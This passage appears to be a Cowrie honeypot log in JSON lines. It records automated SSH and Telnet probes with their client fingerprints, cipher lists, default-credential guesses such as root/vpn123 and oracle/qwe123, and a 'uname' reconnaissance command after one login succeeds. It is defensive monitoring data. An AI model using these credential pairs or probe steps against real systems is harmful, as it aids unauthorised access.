"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:29.718392Z","src_ip":"45.156.87.204","session":"d04f36bfaf76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:29.966751Z","src_ip":"45.156.87.204","session":"d04f36bfaf76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:31.111442Z","src_ip":"45.156.87.204","session":"d04f36bfaf76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33818,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ada350484d4","protocol":"ssh","message":"New connection: 45.156.87.204:33818 (159.203.135.109:22) [session: 4ada350484d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:32.965455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:32.969054Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.050704Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.296042Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.021687746047974,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.687299Z","src_ip":"152.42.224.71","session":"0c117caa829e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.802064Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.805119Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38232,"dst_ip":"10.17.0.5","dst_port":23,"session":"c567ea480096","protocol":"telnet","message":"New connection: 152.42.224.71:38232 (10.17.0.5:23) [session: c567ea480096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.927098Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.939552Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:33.943883Z","src_ip":"45.156.87.204","session":"4ada350484d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38244,"dst_ip":"10.17.0.5","dst_port":23,"session":"82537644f6b6","protocol":"telnet","message":"New connection: 152.42.224.71:38244 (10.17.0.5:23) [session: 82537644f6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:35.275986Z"}
{"eventid":"cowrie.session.closed","duration":92.3968677520752,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:35.634719Z","src_ip":"152.42.224.71","session":"62fe8d509a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56280,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69d7bc583d5","protocol":"telnet","message":"New connection: 152.42.224.71:56280 (10.17.0.5:23) [session: a69d7bc583d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:35.961349Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33826,"dst_ip":"159.203.135.109","dst_port":22,"session":"278c36d1b62f","protocol":"ssh","message":"New connection: 45.156.87.204:33826 (159.203.135.109:22) [session: 278c36d1b62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:36.740000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:36.749159Z","src_ip":"45.156.87.204","session":"278c36d1b62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:36.827919Z","src_ip":"45.156.87.204","session":"278c36d1b62f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:37.150318Z","src_ip":"45.156.87.204","session":"278c36d1b62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56288,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5f1614ff286","protocol":"telnet","message":"New connection: 152.42.224.71:56288 (10.17.0.5:23) [session: a5f1614ff286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:37.777986Z"}
{"eventid":"cowrie.session.closed","duration":43.28705859184265,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:37.965879Z","src_ip":"152.42.224.71","session":"221f182a88d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:38.236187Z","src_ip":"45.156.87.204","session":"278c36d1b62f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.55044603347778,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:38.787335Z","src_ip":"152.42.224.71","session":"64b334173205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33842,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded8186b2a34","protocol":"ssh","message":"New connection: 45.156.87.204:33842 (159.203.135.109:22) [session: ded8186b2a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:40.209352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:40.213789Z","src_ip":"45.156.87.204","session":"ded8186b2a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:40.295490Z","src_ip":"45.156.87.204","session":"ded8186b2a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:40.543809Z","src_ip":"45.156.87.204","session":"ded8186b2a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:41.734966Z","src_ip":"45.156.87.204","session":"ded8186b2a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":34290,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ff24a5310b","protocol":"ssh","message":"New connection: 45.183.70.66:34290 (159.203.135.109:22) [session: 57ff24a5310b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:41.899865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:41.903921Z","src_ip":"45.183.70.66","session":"57ff24a5310b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:42.020305Z","src_ip":"45.183.70.66","session":"57ff24a5310b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn123","message":"login attempt [root/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:42.514986Z","src_ip":"45.183.70.66","session":"57ff24a5310b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50596,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9414f0936d0","protocol":"ssh","message":"New connection: 45.156.87.204:50596 (159.203.135.109:22) [session: d9414f0936d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:43.530432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:43.534524Z","src_ip":"45.156.87.204","session":"d9414f0936d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:43.617073Z","src_ip":"45.156.87.204","session":"d9414f0936d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:43.633534Z","src_ip":"45.183.70.66","session":"57ff24a5310b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:43.862889Z","src_ip":"45.156.87.204","session":"d9414f0936d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.80322766304016,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:44.475051Z","src_ip":"152.42.224.71","session":"39efb7181441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.81.4.35","src_port":56834,"dst_ip":"10.17.0.5","dst_port":22,"session":"711eb95de5f9","protocol":"ssh","message":"New connection: 206.81.4.35:56834 (10.17.0.5:22) [session: 711eb95de5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:44.778958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:44.792683Z","src_ip":"206.81.4.35","session":"711eb95de5f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:44.798740Z","src_ip":"206.81.4.35","session":"711eb95de5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:44.847577Z","src_ip":"206.81.4.35","session":"711eb95de5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:44.947266Z","src_ip":"45.156.87.204","session":"d9414f0936d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50600,"dst_ip":"159.203.135.109","dst_port":22,"session":"f91223ed046c","protocol":"ssh","message":"New connection: 45.156.87.204:50600 (159.203.135.109:22) [session: f91223ed046c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:46.969914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:46.974020Z","src_ip":"45.156.87.204","session":"f91223ed046c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":21408,"dst_ip":"159.203.135.109","dst_port":22,"session":"321b6abd7c0c","protocol":"ssh","message":"New connection: 94.26.106.229:21408 (159.203.135.109:22) [session: 321b6abd7c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:47.048685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:47.056361Z","src_ip":"94.26.106.229","session":"321b6abd7c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:57:47.143766Z","src_ip":"94.26.106.229","session":"321b6abd7c0c","protocol":"ssh"}
